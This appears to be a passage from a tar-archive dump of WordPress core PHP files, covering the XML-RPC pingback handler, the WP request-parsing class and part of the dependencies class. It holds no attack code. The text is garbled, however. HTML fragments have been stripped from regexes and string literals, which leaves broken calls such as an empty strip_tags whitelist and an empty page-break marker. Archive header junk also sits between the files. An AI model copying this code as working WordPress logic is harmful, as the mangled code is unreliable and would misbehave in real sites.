pings_open( $post ) ) { return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.' ) ); } // Let's check that the remote site didn't already pingback this entry. if ( $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_ID, $pagelinkedfrom ) ) ) { return $this->pingback_error( 48, __( 'The pingback has already been registered.' ) ); } // Very stupid, but gives time to the 'from' server to publish! sleep( 1 ); $remote_ip = preg_replace( '/[^0-9a-fA-F:., ]/', '', $_SERVER['REMOTE_ADDR'] ); /** This filter is documented in wp-includes/class-http.php */ $user_agent = apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $pagelinkedfrom ); // Let's check the remote site. $http_api_args = array( 'timeout' => 10, 'redirection' => 0, 'limit_response_size' => 153600, // 150 KB 'user-agent' => "$user_agent; verifying pingback from $remote_ip", 'headers' => array( 'X-Pingback-Forwarded-For' => $remote_ip, ), ); $request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args ); $remote_source = wp_remote_retrieve_body( $request ); $remote_source_original = $remote_source; if ( ! $remote_source ) { return $this->pingback_error( 16, __( 'The source URL does not exist.' ) ); } /** * Filters the pingback remote source. * * @since 2.5.0 * * @param string $remote_source Response source for the page linked from. * @param string $pagelinkedto URL of the page linked to. */ $remote_source = apply_filters( 'pre_remote_source', $remote_source, $pagelinkedto ); // Work around bug in strip_tags(): $remote_source = str_replace( ']*>/', "\n\n", $remote_source ); preg_match( '|([^<]*?)|is', $remote_source, $matchtitle ); $title = isset( $matchtitle[1] ) ? $matchtitle[1] : ''; if ( empty( $title ) ) { return $this->pingback_error( 32, __( 'We cannot find a title on that page.' ) ); } // Remove all script and style tags including their content. $remote_source = preg_replace( '@<(script|style)[^>]*?>.*?@si', '', $remote_source ); // Just keep the tag we need. $remote_source = strip_tags( $remote_source, '' ); $p = explode( "\n\n", $remote_source ); $preg_target = preg_quote( $pagelinkedto, '|' ); foreach ( $p as $para ) { if ( strpos( $para, $pagelinkedto ) !== false ) { // It exists, but is it a link? preg_match( '|]+?' . $preg_target . '[^>]*>([^>]+?)|', $para, $context ); // If the URL isn't in a link context, keep looking. if ( empty( $context ) ) { continue; } // We're going to use this fake tag to mark the context in a bit. // The marker is needed in case the link text appears more than once in the paragraph. $excerpt = preg_replace( '|\|', '', $para ); // prevent really long link text if ( strlen( $context[1] ) > 100 ) { $context[1] = substr( $context[1], 0, 100 ) . '…'; } $marker = '' . $context[1] . ''; // Set up our marker. $excerpt = str_replace( $context[0], $marker, $excerpt ); // Swap out the link for our marker. $excerpt = strip_tags( $excerpt, '' ); // Strip all tags but our context marker. $excerpt = trim( $excerpt ); $preg_marker = preg_quote( $marker, '|' ); $excerpt = preg_replace( "|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt ); $excerpt = strip_tags( $excerpt ); // YES, again, to remove the marker wrapper. break; } } if ( empty( $context ) ) { // Link to target not found. return $this->pingback_error( 17, __( 'The source URL does not contain a link to the target URL, and so cannot be used as a source.' ) ); } $pagelinkedfrom = str_replace( '&', '&', $pagelinkedfrom ); $context = '[…] ' . esc_html( $excerpt ) . ' […]'; $pagelinkedfrom = $this->escape( $pagelinkedfrom ); $comment_post_ID = (int) $post_ID; $comment_author = $title; $comment_author_email = ''; $this->escape( $comment_author ); $comment_author_url = $pagelinkedfrom; $comment_content = $context; $this->escape( $comment_content ); $comment_type = 'pingback'; $commentdata = compact( 'comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_content', 'comment_type', 'remote_source', 'remote_source_original' ); $comment_ID = wp_new_comment( $commentdata ); if ( is_wp_error( $comment_ID ) ) { return $this->pingback_error( 0, $comment_ID->get_error_message() ); } /** * Fires after a post pingback has been sent. * * @since 0.71 * * @param int $comment_ID Comment ID. */ do_action( 'pingback_post', $comment_ID ); /* translators: 1: URL of the page linked from, 2: URL of the page linked to. */ return sprintf( __( 'Pingback from %1$s to %2$s registered. Keep the web talking! :-)' ), $pagelinkedfrom, $pagelinkedto ); } /** * Retrieve array of URLs that pingbacked the given URL. * * Specs on http://www.aquarionics.com/misc/archives/blogite/0198.html * * @since 1.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $url * @return array|IXR_Error */ public function pingback_extensions_getPingbacks( $url ) { global $wpdb; /** This action is documented in wp-includes/class-wp-xmlrpc-server.php */ do_action( 'xmlrpc_call', 'pingback.extensions.getPingbacks', $url, $this ); $url = $this->escape( $url ); $post_ID = url_to_postid( $url ); if ( ! $post_ID ) { // We aren't sure that the resource is available and/or pingback enabled. return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn’t exist, or it is not a pingback-enabled resource.' ) ); } $actual_post = get_post( $post_ID, ARRAY_A ); if ( ! $actual_post ) { // No such post = resource not found. return $this->pingback_error( 32, __( 'The specified target URL does not exist.' ) ); } $comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID ) ); if ( ! $comments ) { return array(); } $pingbacks = array(); foreach ( $comments as $comment ) { if ( 'pingback' === $comment->comment_type ) { $pingbacks[] = $comment->comment_author_url; } } return $pingbacks; } /** * Sends a pingback error based on the given error code and message. * * @since 3.6.0 * * @param int $code Error code. * @param string $message Error message. * @return IXR_Error Error object. */ protected function pingback_error( $code, $message ) { /** * Filters the XML-RPC pingback error return. * * @since 3.5.1 * * @param IXR_Error $error An IXR_Error object containing the error code and message. */ return apply_filters( 'xmlrpc_pingback_error', new IXR_Error( $code, $message ) ); } } class-wp.php000064400000061003151202620300006775 0ustar00public_query_vars, true ) ) { $this->public_query_vars[] = $qv; } } /** * Removes a query variable from a list of public query variables. * * @since 4.5.0 * * @param string $name Query variable name. */ public function remove_query_var( $name ) { $this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) ); } /** * Sets the value of a query variable. * * @since 2.3.0 * * @param string $key Query variable name. * @param mixed $value Query variable value. */ public function set_query_var( $key, $value ) { $this->query_vars[ $key ] = $value; } /** * Parses the request to find the correct WordPress query. * * Sets up the query variables based on the request. There are also many * filters and actions that can be used to further manipulate the result. * * @since 2.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param array|string $extra_query_vars Set the extra query variables. */ public function parse_request( $extra_query_vars = '' ) { global $wp_rewrite; /** * Filters whether to parse the request. * * @since 3.5.0 * * @param bool $bool Whether or not to parse the request. Default true. * @param WP $this Current WordPress environment instance. * @param array|string $extra_query_vars Extra passed query variables. */ if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) ) { return; } $this->query_vars = array(); $post_type_query_vars = array(); if ( is_array( $extra_query_vars ) ) { $this->extra_query_vars = & $extra_query_vars; } elseif ( ! empty( $extra_query_vars ) ) { parse_str( $extra_query_vars, $this->extra_query_vars ); } // Process PATH_INFO, REQUEST_URI, and 404 for permalinks. // Fetch the rewrite rules. $rewrite = $wp_rewrite->wp_rewrite_rules(); if ( ! empty( $rewrite ) ) { // If we match a rewrite rule, this will be cleared. $error = '404'; $this->did_permalink = true; $pathinfo = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : ''; list( $pathinfo ) = explode( '?', $pathinfo ); $pathinfo = str_replace( '%', '%25', $pathinfo ); list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] ); $self = $_SERVER['PHP_SELF']; $home_path = trim( parse_url( home_url(), PHP_URL_PATH ), '/' ); $home_path_regex = sprintf( '|^%s|i', preg_quote( $home_path, '|' ) ); /* * Trim path info from the end and the leading home path from the front. * For path info requests, this leaves us with the requesting filename, if any. * For 404 requests, this leaves us with the requested permalink. */ $req_uri = str_replace( $pathinfo, '', $req_uri ); $req_uri = trim( $req_uri, '/' ); $req_uri = preg_replace( $home_path_regex, '', $req_uri ); $req_uri = trim( $req_uri, '/' ); $pathinfo = trim( $pathinfo, '/' ); $pathinfo = preg_replace( $home_path_regex, '', $pathinfo ); $pathinfo = trim( $pathinfo, '/' ); $self = trim( $self, '/' ); $self = preg_replace( $home_path_regex, '', $self ); $self = trim( $self, '/' ); // The requested permalink is in $pathinfo for path info requests and // $req_uri for other requests. if ( ! empty( $pathinfo ) && ! preg_match( '|^.*' . $wp_rewrite->index . '$|', $pathinfo ) ) { $requested_path = $pathinfo; } else { // If the request uri is the index, blank it out so that we don't try to match it against a rule. if ( $req_uri == $wp_rewrite->index ) { $req_uri = ''; } $requested_path = $req_uri; } $requested_file = $req_uri; $this->request = $requested_path; // Look for matches. $request_match = $requested_path; if ( empty( $request_match ) ) { // An empty request could only match against ^$ regex. if ( isset( $rewrite['$'] ) ) { $this->matched_rule = '$'; $query = $rewrite['$']; $matches = array( '' ); } } else { foreach ( (array) $rewrite as $match => $query ) { // If the requested file is the anchor of the match, prepend it to the path info. if ( ! empty( $requested_file ) && strpos( $match, $requested_file ) === 0 && $requested_file != $requested_path ) { $request_match = $requested_file . '/' . $requested_path; } if ( preg_match( "#^$match#", $request_match, $matches ) || preg_match( "#^$match#", urldecode( $request_match ), $matches ) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) { // This is a verbose page match, let's check to be sure about it. $page = get_page_by_path( $matches[ $varmatch[1] ] ); if ( ! $page ) { continue; } $post_status_obj = get_post_status_object( $page->post_status ); if ( ! $post_status_obj->public && ! $post_status_obj->protected && ! $post_status_obj->private && $post_status_obj->exclude_from_search ) { continue; } } // Got a match. $this->matched_rule = $match; break; } } } if ( isset( $this->matched_rule ) ) { // Trim the query of everything up to the '?'. $query = preg_replace( '!^.+\?!', '', $query ); // Substitute the substring matches into the query. $query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) ); $this->matched_query = $query; // Parse the query. parse_str( $query, $perma_query_vars ); // If we're processing a 404 request, clear the error var since we found something. if ( '404' == $error ) { unset( $error, $_GET['error'] ); } } // If req_uri is empty or if it is a request for ourself, unset error. if ( empty( $requested_path ) || $requested_file == $self || strpos( $_SERVER['PHP_SELF'], 'wp-admin/' ) !== false ) { unset( $error, $_GET['error'] ); if ( isset( $perma_query_vars ) && strpos( $_SERVER['PHP_SELF'], 'wp-admin/' ) !== false ) { unset( $perma_query_vars ); } $this->did_permalink = false; } } /** * Filters the query variables allowed before processing. * * Allows (publicly allowed) query vars to be added, removed, or changed prior * to executing the query. Needed to allow custom rewrite rules using your own arguments * to work, or any other custom query variables you want to be publicly available. * * @since 1.5.0 * * @param string[] $public_query_vars The array of allowed query variable names. */ $this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars ); foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) { if ( is_post_type_viewable( $t ) && $t->query_var ) { $post_type_query_vars[ $t->query_var ] = $post_type; } } foreach ( $this->public_query_vars as $wpvar ) { if ( isset( $this->extra_query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $this->extra_query_vars[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] ) && $_GET[ $wpvar ] !== $_POST[ $wpvar ] ) { wp_die( __( 'A variable mismatch has been detected.' ), __( 'Sorry, you are not allowed to view this item.' ), 400 ); } elseif ( isset( $_POST[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $_POST[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $_GET[ $wpvar ]; } elseif ( isset( $perma_query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ]; } if ( ! empty( $this->query_vars[ $wpvar ] ) ) { if ( ! is_array( $this->query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = (string) $this->query_vars[ $wpvar ]; } else { foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) { if ( is_scalar( $v ) ) { $this->query_vars[ $wpvar ][ $vkey ] = (string) $v; } } } if ( isset( $post_type_query_vars[ $wpvar ] ) ) { $this->query_vars['post_type'] = $post_type_query_vars[ $wpvar ]; $this->query_vars['name'] = $this->query_vars[ $wpvar ]; } } } // Convert urldecoded spaces back into '+'. foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) { if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) { $this->query_vars[ $t->query_var ] = str_replace( ' ', '+', $this->query_vars[ $t->query_var ] ); } } // Don't allow non-publicly queryable taxonomies to be queried from the front end. if ( ! is_admin() ) { foreach ( get_taxonomies( array( 'publicly_queryable' => false ), 'objects' ) as $taxonomy => $t ) { /* * Disallow when set to the 'taxonomy' query var. * Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy(). */ if ( isset( $this->query_vars['taxonomy'] ) && $taxonomy === $this->query_vars['taxonomy'] ) { unset( $this->query_vars['taxonomy'], $this->query_vars['term'] ); } } } // Limit publicly queried post_types to those that are 'publicly_queryable'. if ( isset( $this->query_vars['post_type'] ) ) { $queryable_post_types = get_post_types( array( 'publicly_queryable' => true ) ); if ( ! is_array( $this->query_vars['post_type'] ) ) { if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types, true ) ) { unset( $this->query_vars['post_type'] ); } } else { $this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types ); } } // Resolve conflicts between posts with numeric slugs and date archive queries. $this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars ); foreach ( (array) $this->private_query_vars as $var ) { if ( isset( $this->extra_query_vars[ $var ] ) ) { $this->query_vars[ $var ] = $this->extra_query_vars[ $var ]; } } if ( isset( $error ) ) { $this->query_vars['error'] = $error; } /** * Filters the array of parsed query variables. * * @since 2.1.0 * * @param array $query_vars The array of requested query variables. */ $this->query_vars = apply_filters( 'request', $this->query_vars ); /** * Fires once all query variables for the current request have been parsed. * * @since 2.1.0 * * @param WP $this Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'parse_request', array( &$this ) ); } /** * Sends additional HTTP headers for caching, content type, etc. * * Sets the Content-Type header. Sets the 'error' status (if passed) and optionally exits. * If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed. * * @since 2.0.0 * @since 4.4.0 `X-Pingback` header is added conditionally after posts have been queried in handle_404(). */ public function send_headers() { $headers = array(); $status = null; $exit_required = false; if ( is_user_logged_in() ) { $headers = array_merge( $headers, wp_get_nocache_headers() ); } elseif ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) { // Unmoderated comments are only visible for 10 minutes via the moderation hash. $expires = 10 * MINUTE_IN_SECONDS; $headers['Expires'] = gmdate( 'D, d M Y H:i:s', time() + $expires ); $headers['Cache-Control'] = sprintf( 'max-age=%d, must-revalidate', $expires ); } if ( ! empty( $this->query_vars['error'] ) ) { $status = (int) $this->query_vars['error']; if ( 404 === $status ) { if ( ! is_user_logged_in() ) { $headers = array_merge( $headers, wp_get_nocache_headers() ); } $headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ); } elseif ( in_array( $status, array( 403, 500, 502, 503 ), true ) ) { $exit_required = true; } } elseif ( empty( $this->query_vars['feed'] ) ) { $headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ); } else { // Set the correct content type for feeds. $type = $this->query_vars['feed']; if ( 'feed' === $this->query_vars['feed'] ) { $type = get_default_feed(); } $headers['Content-Type'] = feed_content_type( $type ) . '; charset=' . get_option( 'blog_charset' ); // We're showing a feed, so WP is indeed the only thing that last changed. if ( ! empty( $this->query_vars['withcomments'] ) || false !== strpos( $this->query_vars['feed'], 'comments-' ) || ( empty( $this->query_vars['withoutcomments'] ) && ( ! empty( $this->query_vars['p'] ) || ! empty( $this->query_vars['name'] ) || ! empty( $this->query_vars['page_id'] ) || ! empty( $this->query_vars['pagename'] ) || ! empty( $this->query_vars['attachment'] ) || ! empty( $this->query_vars['attachment_id'] ) ) ) ) { $wp_last_modified = mysql2date( 'D, d M Y H:i:s', get_lastcommentmodified( 'GMT' ), false ); } else { $wp_last_modified = mysql2date( 'D, d M Y H:i:s', get_lastpostmodified( 'GMT' ), false ); } if ( ! $wp_last_modified ) { $wp_last_modified = gmdate( 'D, d M Y H:i:s' ); } $wp_last_modified .= ' GMT'; $wp_etag = '"' . md5( $wp_last_modified ) . '"'; $headers['Last-Modified'] = $wp_last_modified; $headers['ETag'] = $wp_etag; // Support for conditional GET. if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) { $client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] ); } else { $client_etag = false; } $client_last_modified = empty( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ? '' : trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ); // If string is empty, return 0. If not, attempt to parse into a timestamp. $client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0; // Make a timestamp for our most recent modification.. $wp_modified_timestamp = strtotime( $wp_last_modified ); if ( ( $client_last_modified && $client_etag ) ? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag == $wp_etag ) ) : ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag == $wp_etag ) ) ) { $status = 304; $exit_required = true; } } /** * Filters the HTTP headers before they're sent to the browser. * * @since 2.8.0 * * @param string[] $headers Associative array of headers to be sent. * @param WP $wp Current WordPress environment instance. */ $headers = apply_filters( 'wp_headers', $headers, $this ); if ( ! empty( $status ) ) { status_header( $status ); } // If Last-Modified is set to false, it should not be sent (no-cache situation). if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) { unset( $headers['Last-Modified'] ); if ( ! headers_sent() ) { header_remove( 'Last-Modified' ); } } if ( ! headers_sent() ) { foreach ( (array) $headers as $name => $field_value ) { header( "{$name}: {$field_value}" ); } } if ( $exit_required ) { exit; } /** * Fires once the requested HTTP headers for caching, content type, etc. have been sent. * * @since 2.1.0 * * @param WP $this Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'send_headers', array( &$this ) ); } /** * Sets the query string property based off of the query variable property. * * The {@see 'query_string'} filter is deprecated, but still works. Plugins should * use the {@see 'request'} filter instead. * * @since 2.0.0 */ public function build_query_string() { $this->query_string = ''; foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) { if ( '' != $this->query_vars[ $wpvar ] ) { $this->query_string .= ( strlen( $this->query_string ) < 1 ) ? '' : '&'; if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars. continue; } $this->query_string .= $wpvar . '=' . rawurlencode( $this->query_vars[ $wpvar ] ); } } if ( has_filter( 'query_string' ) ) { // Don't bother filtering and parsing if no plugins are hooked in. /** * Filters the query string before parsing. * * @since 1.5.0 * @deprecated 2.1.0 Use {@see 'query_vars'} or {@see 'request'} filters instead. * * @param string $query_string The query string to modify. */ $this->query_string = apply_filters_deprecated( 'query_string', array( $this->query_string ), '2.1.0', 'query_vars, request' ); parse_str( $this->query_string, $this->query_vars ); } } /** * Set up the WordPress Globals. * * The query_vars property will be extracted to the GLOBALS. So care should * be taken when naming global variables that might interfere with the * WordPress environment. * * @since 2.0.0 * * @global WP_Query $wp_query WordPress Query object. * @global string $query_string Query string for the loop. * @global array $posts The found posts. * @global WP_Post|null $post The current post, if available. * @global string $request The SQL statement for the request. * @global int $more Only set, if single page or post. * @global int $single If single page or post. Only set, if single page or post. * @global WP_User $authordata Only set, if author archive. */ public function register_globals() { global $wp_query; // Extract updated query vars back into global namespace. foreach ( (array) $wp_query->query_vars as $key => $value ) { $GLOBALS[ $key ] = $value; } $GLOBALS['query_string'] = $this->query_string; $GLOBALS['posts'] = & $wp_query->posts; $GLOBALS['post'] = isset( $wp_query->post ) ? $wp_query->post : null; $GLOBALS['request'] = $wp_query->request; if ( $wp_query->is_single() || $wp_query->is_page() ) { $GLOBALS['more'] = 1; $GLOBALS['single'] = 1; } if ( $wp_query->is_author() ) { $GLOBALS['authordata'] = get_userdata( get_queried_object_id() ); } } /** * Set up the current user. * * @since 2.0.0 */ public function init() { wp_get_current_user(); } /** * Set up the Loop based on the query variables. * * @since 2.0.0 * * @global WP_Query $wp_the_query WordPress Query object. */ public function query_posts() { global $wp_the_query; $this->build_query_string(); $wp_the_query->query( $this->query_vars ); } /** * Set the Headers for 404, if nothing is found for requested URL. * * Issue a 404 if a request doesn't match any posts and doesn't match any object * (e.g. an existing-but-empty category, tag, author) and a 404 was not already issued, * and if the request was not a search or the homepage. * * Otherwise, issue a 200. * * This sets headers after posts have been queried. handle_404() really means "handle status". * By inspecting the result of querying posts, seemingly successful requests can be switched to * a 404 so that canonical redirection logic can kick in. * * @since 2.0.0 * * @global WP_Query $wp_query WordPress Query object. */ public function handle_404() { global $wp_query; /** * Filters whether to short-circuit default header status handling. * * Returning a non-false value from the filter will short-circuit the handling * and return early. * * @since 4.5.0 * * @param bool $preempt Whether to short-circuit default header status handling. Default false. * @param WP_Query $wp_query WordPress Query object. */ if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) { return; } // If we've already issued a 404, bail. if ( is_404() ) { return; } $set_404 = true; // Never 404 for the admin, robots, or favicon. if ( is_admin() || is_robots() || is_favicon() ) { $set_404 = false; // If posts were found, check for paged content. } elseif ( $wp_query->posts ) { $content_found = true; if ( is_singular() ) { $post = isset( $wp_query->post ) ? $wp_query->post : null; // Only set X-Pingback for single posts that allow pings. if ( $post && pings_open( $post ) && ! headers_sent() ) { header( 'X-Pingback: ' . get_bloginfo( 'pingback_url', 'display' ) ); } // Check for paged content that exceeds the max number of pages. $next = ''; if ( $post && ! empty( $this->query_vars['page'] ) ) { // Check if content is actually intended to be paged. if ( false !== strpos( $post->post_content, $next ) ) { $page = trim( $this->query_vars['page'], '/' ); $content_found = (int) $page <= ( substr_count( $post->post_content, $next ) + 1 ); } else { $content_found = false; } } } // The posts page does not support the pagination. if ( $wp_query->is_posts_page && ! empty( $this->query_vars['page'] ) ) { $content_found = false; } if ( $content_found ) { $set_404 = false; } // We will 404 for paged queries, as no posts were found. } elseif ( ! is_paged() ) { $author = get_query_var( 'author' ); // Don't 404 for authors without posts as long as they matched an author on this site. if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) // Don't 404 for these queries if they matched an object. || ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object() // Don't 404 for these queries either. || is_home() || is_search() || is_feed() ) { $set_404 = false; } } if ( $set_404 ) { // Guess it's time to 404. $wp_query->set_404(); status_header( 404 ); nocache_headers(); } else { status_header( 200 ); } } /** * Sets up all of the variables required by the WordPress environment. * * The action {@see 'wp'} has one parameter that references the WP object. It * allows for accessing the properties and methods to further manipulate the * object. * * @since 2.0.0 * * @param string|array $query_args Passed to parse_request(). */ public function main( $query_args = '' ) { $this->init(); $this->parse_request( $query_args ); $this->send_headers(); $this->query_posts(); $this->handle_404(); $this->register_globals(); /** * Fires once the WordPress environment has been set up. * * @since 2.1.0 * * @param WP $this Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'wp', array( &$this ) ); } } class.wp-dependencies.php000064400000031104151202620300011421 0ustar00queue : (array) $handles; $this->all_deps( $handles ); foreach ( $this->to_do as $key => $handle ) { if ( ! in_array( $handle, $this->done, true ) && isset( $this->registered[ $handle ] ) ) { /* * Attempt to process the item. If successful, * add the handle to the done array. * * Unset the item from the to_do array. */ if ( $this->do_item( $handle, $group ) ) { $this->done[] = $handle; } unset( $this->to_do[ $key ] ); } } return $this->done; } /** * Processes a dependency. * * @since 2.6.0 * @since 5.5.0 Added the `$group` parameter. * * @param string $handle Name of the item. Should be unique. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false if not set. */ public function do_item( $handle, $group = false ) { return isset( $this->registered[ $handle ] ); } /** * Determines dependencies. * * Recursively builds an array of items to process taking * dependencies into account. Does NOT catch infinite loops. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * @since 2.8.0 Added the `$group` parameter. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $handles = (array) $handles; if ( ! $handles ) { return false; } foreach ( $handles as $handle ) { $handle_parts = explode( '?', $handle ); $handle = $handle_parts[0]; $queued = in_array( $handle, $this->to_do, true ); if ( in_array( $handle, $this->done, true ) ) { // Already done. continue; } $moved = $this->set_group( $handle, $recursion, $group ); $new_group = $this->groups[ $handle ]; if ( $queued && ! $moved ) { // Already queued and in the right group. continue; } $keep_going = true; if ( ! isset( $this->registered[ $handle ] ) ) { $keep_going = false; // Item doesn't exist. } elseif ( $this->registered[ $handle ]->deps && array_diff( $this->registered[ $handle ]->deps, array_keys( $this->registered ) ) ) { $keep_going = false; // Item requires dependencies that don't exist. } elseif ( $this->registered[ $handle ]->deps && ! $this->all_deps( $this->registered[ $handle ]->deps, true, $new_group ) ) { $keep_going = false; // Item requires dependencies that don't exist. } if ( ! $keep_going ) { // Either item or its dependencies don't exist. if ( $recursion ) { return false; // Abort this branch. } else { continue; // We're at the top level. Move on to the next one. } } if ( $queued ) { // Already grabbed it and its dependencies. continue; } if ( isset( $handle_parts[1] ) ) { $this->args[ $handle ] = $handle_parts[1]; } $this->to_do[] = $handle; } return true; } /** * Register an item. * * Registers the item if no item of that name already exists. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string $handle Name of the item. Should be unique. * @param string|bool $src Full URL of the item, or path of the item relative * to the WordPress root directory. If source is set to false, * item is an alias of other items it depends on. * @param string[] $deps Optional. An array of registered item handles this item depends on. * Default empty array. * @param string|bool|null $ver Optional. String specifying item version number, if it has one, * which is added to the URL as a query string for cache busting purposes. * If version is set to false, a version number is automatically added * equal to current installed WordPress version. * If set to null, no version is added. * @param mixed $args Optional. Custom property of the item. NOT the class property $args. * Examples: $media, $in_footer. * @return bool Whether the item has been registered. True on success, false on failure. */ public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) { if ( isset( $this->registered[ $handle ] ) ) { return false; } $this->registered[ $handle ] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); return true; } /** * Add extra item data. * * Adds data to a registered item. * * @since 2.6.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @param mixed $value The data value. * @return bool True on success, false on failure. */ public function add_data( $handle, $key, $value ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } return $this->registered[ $handle ]->add_data( $key, $value ); } /** * Get extra item data. * * Gets data associated with a registered item. * * @since 3.3.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @return mixed Extra item data (string), false otherwise. */ public function get_data( $handle, $key ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } if ( ! isset( $this->registered[ $handle ]->extra[ $key ] ) ) { return false; } return $this->registered[ $handle ]->extra[ $key ]; } /** * Un-register an item or items. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function remove( $handles ) { foreach ( (array) $handles as $handle ) { unset( $this->registered[ $handle ] ); } } /** * Queue an item or items. * * Decodes handles and arguments, then queues handles and stores * arguments in the class property $args. For example in extending * classes, $args is appended to the item url as a query string. * Note $args is NOT the $args property of items in the $registered array. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function enqueue( $handles ) { foreach ( (array) $handles as $handle ) { $handle = explode( '?', $handle ); if ( ! in_array( $handle[0], $this->queue, true ) && isset( $this->registered[ $handle[0] ] ) ) { $this->queue[] = $handle[0]; // Reset all dependencies so they must be recalculated in recurse_deps(). $this->all_queued_deps = null; if ( isset( $handle[1] ) ) { $this->args[ $handle[0] ] = $handle[1]; } } } } /** * Dequeue an item or items. * * Decodes handles and arguments, then dequeues handles * and removes arguments from the class property $args. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function dequeue( $handles ) { foreach ( (array) $handles as $handle ) { $handle = explode( '?', $handle ); $key = array_search( $handle[0], $this->queue, true ); if ( false !== $key ) { // Reset all dependencies so they must be recalculated in recurse_deps(). $this->all_queued_deps = null; unset( $this->queue[ $key ] ); unset( $this->args[ $handle[0] ] ); } } } /** * Recursively search the passed dependency tree for $handle. * * @since 4.0.0 * * @param string[] $queue An array of queued _WP_Dependency handles. * @param string $handle Name of the item. Should be unique. * @return bool Whether the handle is found after recursively searching the dependency tree. */ protected function recurse_deps( $queue, $handle ) { if ( isset( $this->all_queued_deps ) ) { return isset( $this->all_queued_deps[ $handle ] ); } $all_deps = array_fill_keys( $queue, true ); $queues = array(); $done = array(); while ( $queue ) { foreach ( $queue as $queued ) { if ( ! isset( $done[ $queued ] ) && isset( $this->registered[ $queued ] ) ) { $deps = $this->registered[ $queued ]->deps; if ( $deps ) { $all_deps += array_fill_keys( $deps, true ); array_push( $queues, $deps ); } $done[ $queued ] = true; } } $queue = array_pop( $queues ); } $this->all_queued_deps = $all_deps; return isset( $this->all_queued_deps[ $handle ] ); } /** * Query list for an item. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string $handle Name of the item. Should be unique. * @param string $list Optional. Property name of list array. Default 'registered'. * @return bool|_WP_Dependency Found, or object Item data. */ public function query( $handle, $list = 'registered' ) { switch ( $list ) { case 'registered': case 'scripts': // Back compat. if ( isset( $this->registered[ $handle ] ) ) { return 